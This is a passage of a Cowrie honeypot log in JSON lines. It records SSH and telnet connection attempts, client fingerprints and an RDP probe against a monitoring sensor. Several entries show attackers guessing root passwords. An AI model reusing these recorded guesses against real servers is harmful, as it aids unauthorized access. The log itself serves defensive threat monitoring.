{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:d8:a6:28:08:9b:d8:61:c0:0d:74:f7:60:54:11:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgfrmSfXHEH82NQ1+YK1YhkKu9Jh/Vas68OfWXN31vUIyI8alALYZXWYwYwlrfNS5vH7M36wEn+vFuQ4rGyARvpww64FcbmQGIxVDEfLvq4d6AoGXdKq8ZJ9khWBZMKzSpG74epdp2w/pNv1hMZcENVQrVk5uf0VGHP8vFeaIQyC2tklS91I8KBjfOVlNn0qsvnrlJ9TPA5vEHH+a5iMMK7MV3Sxvl/DWpDCF3RE8g0jPsF6WyCp5jac9qYR9um/DJi5F5eQebPnniF2tw7yKk9BCp44s79j5pKhDnKsofkUc1Muim8IKbbylVMh2S9zZLiUSJN7RwqMRLTRaoKeJ0Ba2ALB/W1IvoCzRX+JzV+y33B9NQ4WiRNo8nxNPqRN2jkZ3FJ5PzVCVZD8kVbb62L+IvDagSuk2+q2cdTMKVQxDmsPp2hGxWl/4owErQszIBsPri2gCm8zBJtfG5j7X2SwvRqWJuG9mXVb6Bb0u81DuG8c+CoVV4ZFV5PYRRG8sOJLtCkIKcxKrwE5FLcVCaEFWF01OaVffNKWn/1wFntA//b/cn1J+oT7xSnU501a+jMyoPwwwXzjFaI1zjg75uWpaZopKU+JqUoYJHoxMzhvQ4oNlZ5RTOasnLJhC9mf3xVcEEM3KftRtk/Y+c6kjqFQGef6XMELa+MPy4nv4ZJw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:54.988034Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:1d:19:be:18:5f:c4:5d:ed:17:da:e1:d7:57:f9:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV8AiOmxa8lruLuj6W3b9yjBpwTzF1E89w+LXM3zDo5E2K7fRz8j76cMFUSQioiLk6U0S8VeWNUye7kz6WpOQZ0ENR+Hp4y6vQUJaytabQrJTCFWUl5b+E4I7D3P9k7to2qZq3PebkfcTHng2NwY/J6tcE8lwj2P9sIgCgu2eSND/cCj3m7jDnc/nw8bXR6rSEf8fBchTaA598afelDcQ5z1L1Y47q9QZaVNfBGc2kzhUt1gHN+z2/x0XdX7FbYkHG8CsmCKt9dkPdMZv6/nX/tS46n06MPz38heHFBodbRYGfngGfza2nFCu+2UVNpVf1a717PXpF4o9/cKiPGvftffkb0P1/n3nYijKzO+xrkO/Ii3Rk/MQR72dnc1oCyOfMibbduEuSKxniVp/0zF2sFqJ3oQJAMotvH7heIv2GdWaHSJqg6X6W033rWNuWwMrAkOY4E8gQGjoICT2j1r5Fx1rp/W+nA1O8W2atxOlcW/XwpSZ43oyst19Zp7QfplsyFLcpltT3B2ivHPRXmmNudLTqlSxJXBUYuiJ6nQv6iyDB/LixwQw7sS6Vofsse9BnZ/ff/b7fvHNu5CKMynQJNoUnPmHqGhYoJ6FJf4ig7m7ChU6s7BqQO2U6aAUc9t3jYpthMCTiBbMMlARRdcQEcxahXQ4jA8013N1Lnvr/bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:1d:19:be:18:5f:c4:5d:ed:17:da:e1:d7:57:f9:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:55.077322Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:1d:19:be:18:5f:c4:5d:ed:17:da:e1:d7:57:f9:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDV8AiOmxa8lruLuj6W3b9yjBpwTzF1E89w+LXM3zDo5E2K7fRz8j76cMFUSQioiLk6U0S8VeWNUye7kz6WpOQZ0ENR+Hp4y6vQUJaytabQrJTCFWUl5b+E4I7D3P9k7to2qZq3PebkfcTHng2NwY/J6tcE8lwj2P9sIgCgu2eSND/cCj3m7jDnc/nw8bXR6rSEf8fBchTaA598afelDcQ5z1L1Y47q9QZaVNfBGc2kzhUt1gHN+z2/x0XdX7FbYkHG8CsmCKt9dkPdMZv6/nX/tS46n06MPz38heHFBodbRYGfngGfza2nFCu+2UVNpVf1a717PXpF4o9/cKiPGvftffkb0P1/n3nYijKzO+xrkO/Ii3Rk/MQR72dnc1oCyOfMibbduEuSKxniVp/0zF2sFqJ3oQJAMotvH7heIv2GdWaHSJqg6X6W033rWNuWwMrAkOY4E8gQGjoICT2j1r5Fx1rp/W+nA1O8W2atxOlcW/XwpSZ43oyst19Zp7QfplsyFLcpltT3B2ivHPRXmmNudLTqlSxJXBUYuiJ6nQv6iyDB/LixwQw7sS6Vofsse9BnZ/ff/b7fvHNu5CKMynQJNoUnPmHqGhYoJ6FJf4ig7m7ChU6s7BqQO2U6aAUc9t3jYpthMCTiBbMMlARRdcQEcxahXQ4jA8013N1Lnvr/bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:55.081430Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:57:55.171201Z","src_ip":"141.95.34.214","session":"69786101a3c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.39.221","src_port":58142,"dst_ip":"10.17.0.5","dst_port":22,"session":"02b38decc41e","protocol":"ssh","message":"New connection: 43.156.39.221:58142 (10.17.0.5:22) [session: 02b38decc41e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:08.294177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:08.299469Z","src_ip":"43.156.39.221","session":"02b38decc41e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:08.537153Z","src_ip":"43.156.39.221","session":"02b38decc41e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"davedave","message":"login attempt [root/davedave] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:09.520669Z","src_ip":"43.156.39.221","session":"02b38decc41e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:10.762871Z","src_ip":"43.156.39.221","session":"02b38decc41e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":60476,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c210d0a5c78","protocol":"telnet","message":"New connection: 186.195.16.41:60476 (159.203.135.109:23) [session: 1c210d0a5c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:20.006317Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":55986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a694751462f4","protocol":"ssh","message":"New connection: 103.172.78.219:55986 (159.203.135.109:22) [session: a694751462f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:30.034245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:30.040646Z","src_ip":"103.172.78.219","session":"a694751462f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:30.319007Z","src_ip":"103.172.78.219","session":"a694751462f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64068,"dst_ip":"159.203.135.109","dst_port":22,"session":"09a759d27d07","protocol":"ssh","message":"New connection: 152.42.212.128:64068 (159.203.135.109:22) [session: 09a759d27d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:31.022523Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:31.027009Z","src_ip":"152.42.212.128","session":"09a759d27d07","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:31.030694Z","src_ip":"152.42.212.128","session":"09a759d27d07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"88888","message":"login attempt [root/88888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:31.186753Z","src_ip":"103.172.78.219","session":"a694751462f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:32.455998Z","src_ip":"103.172.78.219","session":"a694751462f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7a31e983277","protocol":"telnet","message":"New connection: 192.119.13.58:53620 (10.17.0.5:23) [session: e7a31e983277]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:58:40.257574Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54310,"dst_ip":"10.17.0.5","dst_port":23,"session":"97ebb9e0dfb2","protocol":"telnet","message":"New connection: 192.119.13.58:54310 (10.17.0.5:23) [session: 97ebb9e0dfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:00.295143Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":54969,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a91d0b17936","protocol":"ssh","message":"New connection: 103.219.170.37:54969 (159.203.135.109:22) [session: 4a91d0b17936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:07.340820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:07.345620Z","src_ip":"103.219.170.37","session":"4a91d0b17936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:07.423465Z","src_ip":"103.219.170.37","session":"4a91d0b17936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:07.662897Z","src_ip":"103.219.170.37","session":"4a91d0b17936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60264,"dst_ip":"10.17.0.5","dst_port":23,"session":"a32455e11270","protocol":"telnet","message":"New connection: 192.119.13.58:60264 (10.17.0.5:23) [session: a32455e11270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:08.309248Z"}
{"eventid":"cowrie.session.closed","duration":0.0063440799713134766,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:08.315457Z","src_ip":"192.119.13.58","session":"a32455e11270","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.405793190002441,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:08.700822Z","src_ip":"192.119.13.58","session":"97ebb9e0dfb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:08.740798Z","src_ip":"103.219.170.37","session":"4a91d0b17936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":39410,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eb3111530e5","protocol":"ssh","message":"New connection: 103.153.68.219:39410 (159.203.135.109:22) [session: 1eb3111530e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:09.628178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:09.632913Z","src_ip":"103.153.68.219","session":"1eb3111530e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:09.886017Z","src_ip":"103.153.68.219","session":"1eb3111530e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:10.647229Z","src_ip":"103.153.68.219","session":"1eb3111530e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:11.904286Z","src_ip":"103.153.68.219","session":"1eb3111530e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54724,"dst_ip":"10.17.0.5","dst_port":23,"session":"d26660b156a0","protocol":"telnet","message":"New connection: 192.119.13.58:54724 (10.17.0.5:23) [session: d26660b156a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:13.175272Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58710,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5e7979e92f9","protocol":"telnet","message":"New connection: 192.119.13.58:58710 (10.17.0.5:23) [session: d5e7979e92f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:20.718224Z"}
{"eventid":"cowrie.session.closed","duration":40.823073863983154,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:21.080532Z","src_ip":"192.119.13.58","session":"e7a31e983277","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.698249578475952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:44.864982Z","src_ip":"192.119.13.58","session":"d26660b156a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"102.88.137.145","src_port":45880,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4b497bd7a8b","protocol":"ssh","message":"New connection: 102.88.137.145:45880 (10.17.0.5:22) [session: a4b497bd7a8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:58.861034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:58.869572Z","src_ip":"102.88.137.145","session":"a4b497bd7a8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:59.049619Z","src_ip":"102.88.137.145","session":"a4b497bd7a8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amber1","message":"login attempt [root/amber1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:59:59.798127Z","src_ip":"102.88.137.145","session":"a4b497bd7a8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:00.980858Z","src_ip":"102.88.137.145","session":"a4b497bd7a8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.26.87.217","src_port":29604,"dst_ip":"10.17.0.5","dst_port":22,"session":"74096797da3f","protocol":"ssh","message":"New connection: 195.26.87.217:29604 (10.17.0.5:22) [session: 74096797da3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.292140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:00:03.297917Z","src_ip":"195.26.87.217","session":"74096797da3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":[